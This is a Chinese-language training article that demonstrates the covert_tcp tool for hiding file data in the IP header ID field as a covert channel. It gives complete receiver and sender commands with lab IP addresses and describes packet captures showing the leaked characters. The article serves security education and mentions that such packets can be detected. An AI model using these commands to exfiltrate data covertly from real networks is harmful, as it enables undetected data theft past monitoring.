透過Covert TCP建立秘密通道

唐任威 Vincent Tang

  • 精誠資訊/恆逸教育訓練中心-資深講師
  • 技術分類:資訊安全

 

 

有參加過 CISSP 或 SSCP 課程的同學應應該還記得 Covert Channel (秘密通道)。這是一種用於偷渡資料洩密的方法,藉由神不知鬼不覺的方式建立隱密的傳輸通道,偷偷洩漏資訊。Covert Channel 分為二種,一種是秘密儲存式通道 (Covert Storage Channel),這是一種將資料存放到特定位置,透過該位置洩漏資訊的方式。另一種是秘密時序式通道 (Covert Timing Channel),是一種利用時序洩漏資訊的方法。本文將會介紹如何以 TCP/IP 封包建立秘密通道。

1996 年 Craig H. Rowland 發表了 covert_tcp.c,這支程式可以利用 TCP/IP 封包標頭建立秘密通道,該程式預設以 IP 標頭中的 ID 欄位偷渡資料。

圖 1:Covert_TCP 程式碼


使用方式:

• 接收端:Covert_TCP 在接收端以伺服器模式運作,指令語法如下。

sudo ./covert_tcp -dest 10.10.10.9 -source 10.10.10.13 -source_port 8888 -server -file out.txt                 

因為 covert_tcp 需要以特權模式執行,所以用 sudo 指令執行 covert_tcp。

圖 2:以伺服器模式執行 Covert_TCP

參數說明如下:
-dest 10.10.10.9:指定 IP 封包中,資料接收端的 IP 位址為 10.10.10.9
-source 10.10.10.13:指定 IP 封包中,資料發送端的 IP 位址為 10.10.10.13
-source_port 8888:指定 TCP 協定中,接收端的通訊埠號為 8888
-server:指定 covert_tcp 的運作模式為伺服器模式,用於接收資料
-file out.txt:將接收到的資料儲存於 out.txt 檔案中

Covert_TCP 最有趣的部分在於該程式是以監聽的方式接收資料,因此伺服器端在啟動後不會開啟任何 TCP/IP 的通訊埠。

圖 3:Covert_TCP 伺服器端之網路通訊埠接聽狀態

• 發送端指令語法如下

sudo ./covert_tcp -dest 10.10.10.9 -source 10.10.10.13 -dest_port 8888 -file 0x90.txt                

圖 4:發送端執行 Covert_TCP 開始發送資料

參數說明如下:
-dest 10.10.10.9:指定 IP 封包中,資料接收端的 IP 位址為 10.10.10.9
-source 10.10.10.13:指定 IP 封包中,資料發送端的 IP 位址為 10.10.10.13
-dest_port 8888:指定 TCP 協定中,接收端的通訊埠號為 8888
-file 0x90.txt:發送檔案 0x90.txt

Covert_TCP 執行後會立刻發送 0x90.txt 檔案,並且接收端也可以立刻看到所接收到的檔案內容。

圖 5:Covert_TCP 伺服器端接收資料

並且資料也成功的儲存在 out.txt 檔案中。

圖 6:接收資料儲存檔案內容

在傳送檔案的過程中,如果透過 Wireshark 側錄並觀察封包內容會發現,這些用於發送資料的封包僅有封包標頭而沒有任何選項與酬載。

圖 7:Covert_TCP 發送之封包僅有標頭,沒有選項與酬載

但倘若去檢視 IP 標頭中的 ID 欄位則會發現,檔案內容依序嵌入在該欄位中。


圖 8:檔案內容中的第一個字元「0」嵌入在 IP 標頭之 ID 欄位


圖 9:檔案內容中的第二個字元「x」嵌入在 IP 標頭之 ID 欄位


圖 10:檔案內容中的第三個字元「9」嵌入在 IP 標頭之 ID 欄位


圖 11:檔案內容中的第四個字元「0」嵌入在 IP 標頭之 ID 欄位。


圖 12:檔案內容中的最後一個字元「0a」也就是換行字元嵌入在 IP 標頭之 ID 欄位。

總結
Covert_TCP 是一個透過 TCP/IP 封包標頭傳送資料的工具。藉此工具,攻擊者可以建立 TCP/IP 秘密通道洩漏資訊。由於其發送的都不是正常的 TCP/IP 封包,因此可以透過適當的網路安全工具加以偵測此類異常封包的存在。


您可在下列課程中了解更多技巧喔!